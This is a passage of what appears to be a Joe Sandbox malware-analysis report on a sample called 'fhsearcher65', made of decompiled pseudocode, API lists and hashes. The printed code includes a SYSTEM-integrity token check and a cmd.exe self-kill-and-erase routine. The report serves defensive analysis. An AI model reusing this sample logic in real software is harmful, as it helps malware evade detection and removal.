								 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) = _t241;
								_t202 =  *_t189;
								_t204 = (_t202 & 0x0000003f) * 0x38;
								__eflags = _a16 & 0x00000002;
								 *((char*)( *((intOrPtr*)(0x4508e0 + (_t202 >> 6) * 4)) + 0x29 + (_t202 & 0x0000003f) * 0x38)) = 0;
								if((_a16 & 0x00000002) == 0) {
									L22:
									_v6 = 0;
									_push( &_v6);
									_push(_a16);
									_t279 = _t278 - 0x18;
									_t205 = 6;
									_push( *_t189);
									memcpy(_t279,  &_v48, _t205 << 2);
									_t134 = E004284D4(_t189,  &_v48 + _t205 + _t205,  &_v48);
									_t242 =  *_t189;
									_t267 = _t134;
									_t281 = _t279 + 0x30;
									__eflags = _t267;
									if(__eflags == 0) {
										 *((char*)( *((intOrPtr*)(0x4508e0 + (_t242 >> 6) * 4)) + 0x29 + (_t242 & 0x0000003f) * 0x38)) = _v6;
										 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38) ^ (_a16 >> 0x00000010 ^  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x2d + ( *_t189 & 0x0000003f) * 0x38)) & 0x00000001;
										__eflags = _v5 & 0x00000048;
										if((_v5 & 0x00000048) == 0) {
											__eflags = _a16 & 0x00000008;
											if((_a16 & 0x00000008) != 0) {
												_t224 =  *_t189;
												_t226 = (_t224 & 0x0000003f) * 0x38;
												_t162 =  *((intOrPtr*)(0x4508e0 + (_t224 >> 6) * 4));
												_t87 = _t162 + _t226 + 0x28;
												 *_t87 =  *(_t162 + _t226 + 0x28) | 0x00000020;
												__eflags =  *_t87;
											}
										}
										_t268 = _v44;
										__eflags = (_t268 & 0xc0000000) - 0xc0000000;
										if((_t268 & 0xc0000000) != 0xc0000000) {
											L32:
											__eflags = 0;
											return 0;
										} else {
											__eflags = _a16 & 0x00000001;
											if((_a16 & 0x00000001) == 0) {
												goto L32;
											}
											CloseHandle(_v12);
											_v44 = _t268 & 0x7fffffff;
											_t214 = 6;
											_push( &_v24);
											_push(_a12);
											memcpy(_t281 - 0x18,  &_v48, _t214 << 2);
											_t246 = E00428727();
											__eflags = _t246 - 0xffffffff;
											if(_t246 != 0xffffffff) {
												_t216 =  *_t189;
												_t218 = (_t216 & 0x0000003f) * 0x38;
												__eflags = _t218;
												 *((intOrPtr*)( *((intOrPtr*)(0x4508e0 + (_t216 >> 6) * 4)) + _t218 + 0x18)) = _t246;
												goto L32;
											}
											E0041396B(GetLastError());
											 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
											E004258D1( *_t189);
											L10:
											goto L2;
										}
									}
									_push(_t242);
									goto L21;
								} else {
									_t267 = E00428936(_t204,  *_t189);
									__eflags = _t267;
									if(__eflags == 0) {
										goto L22;
									}
									_push( *_t189);
									L21:
									E0041F043(__eflags);
									return _t267;
								}
							}
							_t271 = GetLastError();
							E0041396B(_t271);
							 *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) =  *( *((intOrPtr*)(0x4508e0 + ( *_t189 >> 6) * 4)) + 0x28 + ( *_t189 & 0x0000003f) * 0x38) & 0x000000fe;
							CloseHandle(_t253);
							__eflags = _t271;
							if(__eflags == 0) {
								 *((intOrPtr*)(E004139A1(__eflags))) = 0xd;
							}
							goto L2;
						}
						_t233 = _v44;
						__eflags = (_t233 & 0xc0000000) - 0xc0000000;
						if((_t233 & 0xc0000000) != 0xc0000000) {
							L9:
							_t234 =  *_t189;
							_t236 = (_t234 & 0x0000003f) * 0x38;
							_t178 =  *((intOrPtr*)(0x4508e0 + (_t234 >> 6) * 4));
							_t33 = _t178 + _t236 + 0x28;
							 *_t33 =  *(_t178 + _t236 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E0041396B(GetLastError());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t285 = _t278 - 0x18;
						_v44 = _t233 & 0x7fffffff;
						_t238 = 6;
						_push( &_v24);
						_push(_a12);
						memcpy(_t285,  &_v48, _t238 << 2);
						_t196 = 0;
						_t253 = E00428727();
						_t278 = _t285 + 0x2c;
						_v12 = _t253;
						__eflags = _t253 - 0xffffffff;
						if(_t253 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E0041398E(__eflags)) =  *_t184 & 0x00000000;
						 *_t189 = _t264;
						 *((intOrPtr*)(E004139A1(__eflags))) = 0x18;
						goto L2;
					}
				} else {
					_t186 = E0041398E(_t288);
					 *_t186 =  *_t186 & 0x00000000;
					_t289 =  *_t186;
					 *_a8 = _t264;
					L2:
					return  *((intOrPtr*)(E004139A1(_t289)));
				}
			}

0x00428a91
0x00428a95
0x00428a96
0x00428a96
0x00428a96
0x00428a98
0x00428a9b
0x00428a9e
0x00428ab9
0x00428abe
0x00428ac1
0x00428ac3
0x00428ac5
0x00428ae4
0x00428aeb
0x00428af2
0x00428af5
0x00428b01
0x00428b04
0x00428b0c
0x00428b0d
0x00428b10
0x00428b10
0x00428b12
0x00428b17
0x00428b19
0x00428b1c
0x00428b24
0x00428b27
0x00428b94
0x00428b95
0x00428b9b
0x00428b9d
0x00428be6
0x00428be9
0x00428bf2
0x00428bf5
0x00428bf8
0x00428bfa
0x00428bfa
0x00428bfa
0x00428beb
0x00428bee
0x00428bee
0x00428bff
0x00428c02
0x00428c0e
0x00428c13
0x00428c1f
0x00428c29
0x00428c2d
0x00428c37
0x00428c3a
0x00428c45
0x00428c4a
0x00428c69
0x00428c6c
0x00428c70
0x00428c71
0x00428c77
0x00428c7c
0x00428c7f
0x00428c81
0x00428c83
0x00428c88
0x00428c8a
0x00428c8c
0x00428c8f
0x00428c91
0x00428cab
0x00428ccf
0x00428cd3
0x00428cd7
0x00428cd9
0x00428cdd
0x00428cdf
0x00428ce9
0x00428cec
0x00428cf3
0x00428cf3
0x00428cf3
0x00428cf3
0x00428cdd
0x00428cf8
0x00428d04
0x00428d06
0x00428d91
0x00428d91
0x00000000
0x00428d0c
0x00428d0c
0x00428d10
0x00000000
0x00000000
0x00428d15
0x00428d27
0x00428d2f
0x00428d32
0x00428d33
0x00428d36
0x00428d3d
0x00428d42
0x00428d45
0x00428d79
0x00428d83
0x00428d83
0x00428d8d
0x00000000
0x00428d8d
0x00428d4e
0x00428d67
0x00428d6e
0x00428b8e
0x00000000
0x00428b8e
0x00428d06
0x00428c93
0x00000000
0x00428c4c
0x00428c53
0x00428c56
0x00428c58
0x00000000
0x00000000
0x00428c5a
0x00428c5c
0x00428c5c
0x00000000
0x00428c62
0x00428c4a
0x00428ba5
0x00428ba8
0x00428bc3
0x00428bc8
0x00428bce
0x00428bd0
0x00428bdb
0x00428bdb
0x00000000
0x00428bd0
0x00428b29
0x00428b30
0x00428b32
0x00428b69
0x00428b69
0x00428b73
0x00428b76
0x00428b7d
0x00428b7d
0x00428b7d
0x00428b89
0x00000000
0x00428b89
0x00428b34
0x00428b38
0x00000000
0x00000000
0x00428b3a
0x00428b49
0x00428b4e
0x00428b51
0x00428b52
0x00428b55
0x00428b55
0x00428b5c
0x00428b5e
0x00428b61
0x00428b64
0x00428b67
0x00000000
0x00000000
0x00000000
0x00428ac7
0x00428acc
0x00428acf
0x00428ad6
0x00000000
0x00428ad6
0x00428aa0
0x00428aa0
0x00428aa5
0x00428aa5
0x00428aab
0x00428aad
0x00000000
0x00428ab2

APIs

Part of subcall function 00428727: CreateFileW.KERNEL32(00000000,00000000,?,00428B17,?,?,00000000,?,00428B17,00000000,0000000C), ref: 00428744

GetLastError.KERNEL32 ref: 00428B82
__dosmaperr.LIBCMT ref: 00428B89
GetFileType.KERNEL32(00000000), ref: 00428B95
GetLastError.KERNEL32 ref: 00428B9F
__dosmaperr.LIBCMT ref: 00428BA8
CloseHandle.KERNEL32(00000000), ref: 00428BC8
CloseHandle.KERNEL32(0041E4A8), ref: 00428D15
GetLastError.KERNEL32 ref: 00428D47
__dosmaperr.LIBCMT ref: 00428D4E

Strings

H, xrefs: 00428CD3

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: cdf5ef2873a73ee89aeb392416d28c2a8e100c1643c37962a50c484033c6f312
Instruction ID: 771cd4d19c35b6cee5b294c5a2d8e3b9c07df42c18da34ca8d8c9ceec86888b5
Opcode Fuzzy Hash: cdf5ef2873a73ee89aeb392416d28c2a8e100c1643c37962a50c484033c6f312
Instruction Fuzzy Hash: E1A16A72B111248FCF18DF68EC51BAE3BA0AB46325F54015EF801EB392CF389942CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004094B0 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 259
sleepthreadCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004094B0(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, char _a4, intOrPtr _a20, char* _a24) {
				struct _SECURITY_ATTRIBUTES* _v8;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v44;
				char _v68;
				char _v92;
				char _v268;
				char _v596;
				char _v624;
				char _v648;
				char _v672;
				char _v696;
				char _v720;
				char _v744;
				char _v768;
				char _v792;
				signed int _v800;
				short _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				signed int _t76;
				signed int _t77;
				void* _t85;
				signed int _t86;
				char* _t88;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t114;
				signed int _t120;
				signed int _t125;
				intOrPtr _t128;
				signed int _t141;
				signed int _t142;
				signed int _t146;
				signed int _t147;
				signed char* _t152;
				signed int _t157;
				intOrPtr _t190;
				char* _t202;
				intOrPtr _t212;
				char _t215;
				signed int _t218;
				signed int _t219;
				void* _t220;
				void* _t223;
				void* _t230;
				void* _t231;
				signed int _t232;
				void* _t236;

				_push(0xffffffff);
				_push(0x42ce98);
				_push( *[fs:0x0]);
				_t76 =  *0x43d054; // 0xd71f2cec
				_t77 = _t76 ^ _t218;
				_v20 = _t77;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t77);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				E004181CA(__ecx, E00418C26(__ecx, __edx, 0));
				_t202 = _a24;
				_t215 = _a4;
				_t223 = _t220 - 0x30c + 8;
				_t212 = _a20;
				_t152 =  >=  ? _t215 :  &_a4;
				if(_t212 != 3) {
					L7:
					_t152 =  >=  ? _t215 :  &_a4;
					if(_t212 == 4) {
						_t141 =  *_t152;
						_t202 = "/chk";
						if(_t141 !=  *_t202) {
							__eflags = _t141 -  *_t202;
							if(_t141 !=  *_t202) {
								L15:
								asm("sbb eax, eax");
								_t142 = _t141 | 0x00000001;
								__eflags = _t142;
							} else {
								_t141 = _t152[1];
								__eflags = _t141 - _t202[1];
								if(_t141 != _t202[1]) {
									goto L15;
								} else {
									_t141 = _t152[2];
									__eflags = _t141 - _t202[2];
									if(_t141 != _t202[2]) {
										goto L15;
									} else {
										_t141 = _t152[3];
										__eflags = _t141 - _t202[3];
										if(__eflags != 0) {
											goto L15;
										} else {
											_t142 = 0;
										}
									}
								}
							}
						} else {
							_t152 =  &(_t152[_t212]);
							_t142 = 0;
						}
						_t246 = _t142;
						if(_t142 == 0) {
							goto L17;
						}
					}
				} else {
					_t146 =  *_t152 & 0x000000ff;
					if(_t146 != 0x63) {
						L5:
						asm("sbb eax, eax");
						_t147 = _t146 | 0x00000001;
						__eflags = _t147;
					} else {
						_t146 = _t152[1] & 0x000000ff;
						if(_t146 != 0x68) {
							goto L5;
						} else {
							_t146 = _t152[2] & 0x000000ff;
							if(_t146 != 0x6b) {
								goto L5;
							} else {
								_t147 = 0;
							}
						}
					}
					if(_t147 == 0) {
						L17:
						E004099F0( &_v268, _t152);
						_t223 = _t223 - 0xc;
						E0040B840( &_v268, _t202, _t246, "test");
						E00418060(0);
					} else {
						goto L7;
					}
				}
				CreateThread(0, 0, E004056A0, 0, 0, 0); // executed
				_t149 = Sleep;
				Sleep(0xbb8); // executed
				E00402510( &_v44, "SUB=");
				_t203 =  &_v44;
				_v8 = 1;
				E00405EA0(Sleep,  &_a4,  &_v44, _t212);
				_v8 = 0;
				E00402440(Sleep,  &_v44); // executed
				_t85 = E00404840(Sleep,  &_v44); // executed
				_t216 = _t85; // executed
				_t86 = E00404F20(Sleep, _t246); // executed
				_t157 = _t86;
				if(_t85 == 0) {
					__eflags = _t157;
					_t203 = "start";
					_t88 =  ==  ? "start" : "r";
				} else {
					_t88 = "n";
				}
				E00402410(0x450e2c, _t88);
				E00401960( &_v596, "1"); // executed
				_v8 = 2;
				_t213 = E00402510( &_v792, E0040BCA0(E00409960(_t149, _t203, _t212, _t216)));
				_v8 = 3;
				_t217 = E00402510( &_v768, E0040BC70(E004098D0(_t203, _t93, _t216)));
				_v8 = 4;
				L30();
				_t98 = E00402510( &_v744, E0040BAF0(_t96));
				_v8 = 5;
				_t99 = E0040CCE0( &_v720, 0x450e5c, _t98);
				_v8 = 6;
				_t100 = E0040CD40( &_v696, _t99,  &_a4);
				_v8 = 7;
				_t101 = E0040CDF0( &_v672, _t100, _t96);
				_v8 = 8;
				_t102 = E0040CD40( &_v648, _t101, 0x450e2c);
				_v8 = 9;
				_t103 = E0040CDF0( &_v624, _t102, _t93);
				_v8 = 0xa;
				E0040CD40( &_v92, _t103, 0x450e44);
				_t230 = _t223 - 0x10 + 0x18;
				E00402440(_t149,  &_v624);
				E00402440(_t149,  &_v648);
				E00402440(_t149,  &_v672);
				E00402440(_t149,  &_v696);
				E00402440(_t149,  &_v720);
				E00402440(_t149,  &_v744);
				E00402440(_t149,  &_v768);
				_v8 = 0x13;
				E00402440(_t149,  &_v792);
				while(1) {
					_t114 = E00402300(_t149,  &_v596, _t213, E00402400( &_v92)); // executed
					if(_t114 == 0) {
						goto L26;
					}
					E00402510( &_v44, E00402370( &_v596));
					_t210 = "0";
					if(E00402800( &_v44, "0") == 0) {
						_t210 = "1";
						if(E00402800( &_v44, "1") == 0) {
							E00402440(_t149,  &_v44);
							goto L26;
						}
					}
					E00402440(_t149,  &_v44);
					E00406AA0(_t149,  &_v68, _t213, _t217, __eflags); // executed
					_v8 = 0x14;
					_t120 = E0040CE90(__eflags);
					__eflags = _t120;
					if(_t120 != 0) {
						_t236 = _t230 - 0x18;
						E00402510(_t236, " ");
						E004066A0(_t149, E00402400( &_v68), _t213); // executed
						_t230 = _t236 + 0x18;
					}
					_t231 = _t230 - 0x18;
					E0040BF40(_t149, _t231, _t210, _t213,  &_a4); // executed
					E00408D00(_t149, _t213, _t217, __eflags); // executed
					_t232 = _t231 + 0x18;
					E004054C0(_t149, __eflags);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t218);
					_t219 = _t232;
					_t125 =  *0x43d054; // 0xd71f2cec
					_v800 = _t125 ^ _t219;
					asm("movaps xmm0, [0x439d70]");
					asm("movups [ebp-0x24], xmm0");
					_v816 = 0x5a405b41;
					_t190 =  *((intOrPtr*)( *[fs:0x2c]));
					_t128 =  *0x450ff8; // 0x80000012
					_v812 = 0x5e465e00;
					_v808 = 0x4c5b5d11;
					_v804 = 0x2e13;
					__eflags = _t128 -  *((intOrPtr*)(_t190 + 4));
					if(_t128 >  *((intOrPtr*)(_t190 + 4))) {
						E0040F2F9(_t128, 0x450ff8);
						__eflags =  *0x450ff8 - 0xffffffff;
						if( *0x450ff8 == 0xffffffff) {
							E0040BB20(0x450d10,  &_v44);
							E0040F60B(0x450d10, __eflags, 0x42d920);
							E0040F2AF(0x450ff8);
						}
					}
					__eflags = _v12 ^ _t219;
					return E0040EF6F(0x450d10, _t149, _v12 ^ _t219, _t210, _t213, _t217);
					L26:
					Sleep(0xbb8);
				}
			}

0x004094b3
0x004094b5
0x004094c0
0x004094c7
0x004094cc
0x004094ce
0x004094d1
0x004094d2
0x004094d3
0x004094d4
0x004094d8
0x004094e0
0x004094f0
0x004094f5
0x004094fb
0x004094fe
0x00409501
0x00409507
0x0040950d
0x00409533
0x00409539
0x0040953f
0x00409541
0x00409543
0x0040954a
0x00409552
0x00409554
0x00409572
0x00409572
0x00409574
0x00409574
0x00409556
0x00409556
0x00409559
0x0040955c
0x00000000
0x0040955e
0x0040955e
0x00409561
0x00409564
0x00000000
0x00409566
0x00409566
0x00409569
0x0040956c
0x00000000
0x0040956e
0x0040956e
0x0040956e
0x0040956c
0x00409564
0x0040955c
0x0040954c
0x0040954c
0x0040954e
0x0040954e
0x00409577
0x00409579
0x00000000
0x00000000
0x00409579
0x0040950f
0x0040950f
0x00409514
0x0040952a
0x0040952a
0x0040952c
0x0040952c
0x00409516
0x00409516
0x0040951c
0x00000000
0x0040951e
0x0040951e
0x00409524
0x00000000
0x00409526
0x00409526
0x00409526
0x00409524
0x0040951c
0x00409531
0x0040957b
0x00409582
0x00409587
0x00409595
0x0040959c
0x00000000
0x00000000
0x00000000
0x00409531
0x004095b0
0x004095b6
0x004095c1
0x004095cb
0x004095d0
0x004095d3
0x004095da
0x004095e2
0x004095e6
0x004095eb
0x004095f0
0x004095f2
0x004095f7
0x004095fb
0x00409604
0x0040960b
0x00409610
0x004095fd
0x004095fd
0x004095fd
0x00409619
0x0040962c
0x00409631
0x0040964d
0x0040964f
0x0040966b
0x0040966d
0x00409671
0x00409684
0x0040968f
0x00409699
0x004096a4
0x004096b1
0x004096bc
0x004096c6
0x004096d5
0x004096df
0x004096ea
0x004096f4
0x00409703
0x0040970a
0x0040970f
0x00409718
0x00409723
0x0040972e
0x00409739
0x00409744
0x0040974f
0x0040975a
0x00409765
0x00409769
0x00409770
0x0040977f
0x00409786
0x00000000
0x00000000
0x00409797
0x0040979c
0x004097ab
0x004097ad
0x004097bc
0x004097c1
0x00000000
0x004097c1
0x004097bc
0x004097d2
0x004097da
0x004097e2
0x004097e6
0x004097eb
0x004097ed
0x004097ef
0x004097f9
0x00409808
0x0040980d
0x0040980d
0x00409810
0x00409819
0x0040981e
0x00409823
0x00409826
0x0040982b
0x0040982c
0x0040982d
0x0040982e
0x0040982f
0x00409830
0x00409831
0x00409836
0x0040983d
0x00409846
0x0040984d
0x00409851
0x00409858
0x0040985a
0x0040985f
0x00409866
0x0040986d
0x00409873
0x00409879
0x00409880
0x00409888
0x0040988f
0x0040989a
0x004098a4
0x004098ae
0x004098b3
0x0040988f
0x004098be
0x004098c8
0x004097c6
0x004097cb
0x004097cb

APIs

Part of subcall function 00418C26: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,004094EC,00000000,D71F2CEC), ref: 00418C39
Part of subcall function 00418C26: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00418C6A

CreateThread.KERNEL32 ref: 004095B0
Sleep.KERNEL32(00000BB8), ref: 004095C1
Sleep.KERNEL32(00000BB8,00000000,?,?,?,?,?,00439B30), ref: 004097CB

Strings

test, xrefs: 00409590
SUB=, xrefs: 004095C3
start, xrefs: 0040960B
/chk, xrefs: 00409543

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: SleepTime$CreateFileSystemThreadUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: /chk$SUB=$start$test
API String ID: 2722266738-2206718722
Opcode ID: 35bbdf23776f3ea87baeeb5508391131bf2df4ec9f730074d9e8b4bf9953657f
Instruction ID: 0652a05778be0f0be606de851c6b3b42c966c08d36e8cb9da149c7bcfe8d0353
Opcode Fuzzy Hash: 35bbdf23776f3ea87baeeb5508391131bf2df4ec9f730074d9e8b4bf9953657f
Instruction Fuzzy Hash: F191D031900148AACB05FB76CD56BEEB7659F11308F5440BEE406B72C3EB78AE45CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 004065E0 Relevance: 12.1, APIs: 8, Instructions: 67
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004065E0(void* __esi) {
				signed int _v8;
				void _v84;
				short _v88;
				struct _SID_IDENTIFIER_AUTHORITY _v92;
				long _v96;
				void* _v100;
				void* _v104;
				signed int _t16;
				int _t25;
				int _t30;
				void* _t35;
				void* _t40;
				void* _t41;
				void* _t44;
				signed int _t45;

				_t42 = __esi;
				_t16 =  *0x43d054; // 0xd71f2cec
				_v8 = _t16 ^ _t45;
				_v92.Value = 0;
				_v88 = 0x500;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v100) == 0) {
					L3:
					return E0040EF6F(0, _t35, _v8 ^ _t45, _t40, _t41, _t42);
				} else {
					_t25 = GetTokenInformation(_v100, 1,  &_v84, 0x4c,  &_v96); // executed
					_push(_v100);
					if(_t25 != 0) {
						CloseHandle();
						if(AllocateAndInitializeSid( &_v92, 1, 0x12, 0, 0, 0, 0, 0, 0, 0,  &_v104) == 0) {
							goto L3;
						} else {
							_push(__esi);
							_t30 = EqualSid(_v84, _v104);
							FreeSid(_v104);
							_pop(_t44);
							return E0040EF6F(_t30, _t35, _v8 ^ _t45, _t40, _t41, _t44);
						}
					} else {
						CloseHandle();
						goto L3;
					}
				}
			}

0x004065e0
0x004065e6
0x004065ed
0x004065f3
0x004065fd
0x00406612
0x00406636
0x00406645
0x00406614
0x00406623
0x00406629
0x0040662e
0x00406646
0x0040666e
0x00000000
0x00406670
0x00406670
0x00406677
0x00406682
0x0040668f
0x00406698
0x00406698
0x00406630
0x00406630
0x00000000
0x00406630
0x0040662e

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 00406603
OpenProcessToken.ADVAPI32(00000000), ref: 0040660A
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,0000004C,?), ref: 00406623
CloseHandle.KERNEL32(?), ref: 00406630
CloseHandle.KERNEL32(?), ref: 00406646
AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000012,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00406666
EqualSid.ADVAPI32(?,?), ref: 00406677
FreeSid.ADVAPI32(?), ref: 00406682

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessToken$AllocateCurrentEqualFreeInformationInitializeOpen
String ID:
API String ID: 1013447061-0
Opcode ID: 33b0916c1a675e4d9d0dda6aba23b29ce3aae0a32f2407484ef0b74c04953fb0
Instruction ID: 816bf498bc9beabf5fef2e714874cf6c84e0a5f0b57c10b89713109bcd13752f
Opcode Fuzzy Hash: 33b0916c1a675e4d9d0dda6aba23b29ce3aae0a32f2407484ef0b74c04953fb0
Instruction Fuzzy Hash: 1E111F31B0021CABDB20DFE1DD49BAEB7B9FF08701F400479F905EA190DA7599169B59

Uniqueness

Uniqueness Score: -1.00%

Function 004054C0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E004054C0(void* __ebx, void* __eflags) {
				void* _v8;
				char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				char _v44;
				char _v68;
				char _v92;
				char _v116;
				char _v140;
				void* _v164;
				char _v172;
				void** _v180;
				void* _v184;
				void** _v188;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t46;
				void* _t50;
				void* _t52;
				void* _t53;
				void* _t54;
				signed int _t66;
				signed int _t71;
				void* _t75;
				signed int _t78;
				char _t79;
				void* _t98;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;
				void** _t107;
				signed int _t109;
				void* _t111;
				signed int _t113;

				_t46 =  *0x43d054; // 0xd71f2cec
				_v20 = _t46 ^ _t109;
				 *[fs:0x0] =  &_v16;
				_t50 = E00405420( &_v164, GetCurrentProcessId()); // executed
				_t103 = _t50;
				_v8 = 0;
				_t52 = E00405250(__ebx,  &_v140, GetCurrentProcessId()); // executed
				_v8 = 1;
				_t53 = E0040CAC0( &_v116, _t52);
				_v8 = 2;
				_t54 = E0040CC30( &_v92, _t53, "\" /f & erase \"");
				_v8 = 3;
				_t98 = E0040CDF0( &_v68, _t54, _t103);
				_v8 = 4;
				E0040CC30( &_v44, _t98, "\" & exit");
				_t113 = _t111 - 0x94 + 0x10;
				E00402440(__ebx,  &_v68, _t46 ^ _t109);
				E00402440(__ebx,  &_v92, _t102);
				E00402440(__ebx,  &_v116,  *[fs:0x0]);
				E00402440(__ebx,  &_v140, 0x42c9c3);
				E00402440(__ebx,  &_v164, 0xffffffff);
				_t91 =  &_v44;
				ShellExecuteA(0, 0, "C:\\Windows\\System32\\cmd.exe", E00402400(_t91), 0, 0); // executed
				E00418060(0); // executed
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_push(_t109);
				_push(0xffffffff);
				_push(0x42ca0e);
				_push( *[fs:0x0]);
				_push(__ebx);
				_push(_t103);
				_t66 =  *0x43d054; // 0xd71f2cec
				_push(_t66 ^ _t113);
				 *[fs:0x0] =  &_v172;
				_t104 = _t98;
				_t107 = _t91;
				_v180 = _t107;
				_v188 = _t107;
				_v184 = 0;
				 *_t107 = 0;
				_t107[4] = 0;
				_t107[5] = 0xf;
				 *_t107 = 0;
				_v164 = 0;
				_v184 = 1;
				E0040BD80(__ebx, _t91, _t104, _t107, _t104);
				_t116 = _t104;
				if(_t104 > 0) {
					_t78 = 0x3e;
					do {
						_t71 = E004181A9(_t91, _t116);
						_t91 = _t107[4];
						_t33 =  &(("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")[_t71 % _t78]); // 0x33323130
						_t79 =  *_t33;
						_t101 = _t107[5];
						_v24 = _t79;
						if(_t91 >= _t101) {
							_push(_v24);
							_v28 = 0;
							_t91 = _t107;
							E0040D5F0(_t79, _t107, _t104, _t107, _t107, _v28);
						} else {
							_t36 =  &(_t91[0]); // 0x1
							_t107[4] = _t36;
							_t75 = _t107;
							if(_t101 >= 0x10) {
								_t75 =  *_t107;
							}
							 *((char*)(_t75 + _t91)) = _t79;
							 *((char*)(_t75 +  &(_t91[0]))) = 0;
						}
						_t78 = 0x3e;
						_t104 = _t104 - 1;
					} while (_t104 != 0);
				}
				 *[fs:0x0] = _v20;
				return _t107;
			}

0x004054d7
0x004054de
0x004054e6
0x004054fa
0x004054ff
0x00405501
0x00405516
0x0040551f
0x00405523
0x0040552f
0x00405536
0x0040553e
0x0040554f
0x00405551
0x00405558
0x0040555d
0x00405563
0x0040556b
0x00405573
0x0040557e
0x00405589
0x00405592
0x004055a4
0x004055ac
0x004055b1
0x004055b2
0x004055b3
0x004055b4
0x004055b5
0x004055b6
0x004055b7
0x004055b8
0x004055b9
0x004055ba
0x004055bb
0x004055bc
0x004055bd
0x004055be
0x004055bf
0x004055c0
0x004055c3
0x004055c5
0x004055d0
0x004055d4
0x004055d6
0x004055d7
0x004055de
0x004055e2
0x004055e8
0x004055ea
0x004055ec
0x004055ef
0x004055f2
0x004055f9
0x004055ff
0x00405606
0x0040560d
0x00405610
0x00405618
0x0040561f
0x00405624
0x00405626
0x00405628
0x00405630
0x00405630
0x00405637
0x0040563c
0x0040563c
0x00405642
0x00405645
0x0040564a
0x00405665
0x00405668
0x00405670
0x00405672
0x0040564c
0x0040564c
0x0040564f
0x00405652
0x00405657
0x00405659
0x00405659
0x0040565b
0x0040565e
0x0040565e
0x00405677
0x0040567c
0x0040567c
0x00405630
0x00405686
0x00405694

APIs

GetCurrentProcessId.KERNEL32(D71F2CEC), ref: 004054EC

Part of subcall function 00405420: OpenProcess.KERNEL32(00000410,00000000,?,00450D61,00000000), ref: 0040544B
Part of subcall function 00405420: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,00450D61,00000000), ref: 00405466
Part of subcall function 00405420: FindCloseChangeNotification.KERNEL32(00000000,?,00450D61,00000000), ref: 0040546D

GetCurrentProcessId.KERNEL32 ref: 00405508

Part of subcall function 00405250: OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 004052B0
Part of subcall function 00405250: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?,?,?,?,?), ref: 004052CD
Part of subcall function 00405250: K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104,?,?,?,?), ref: 004052EA
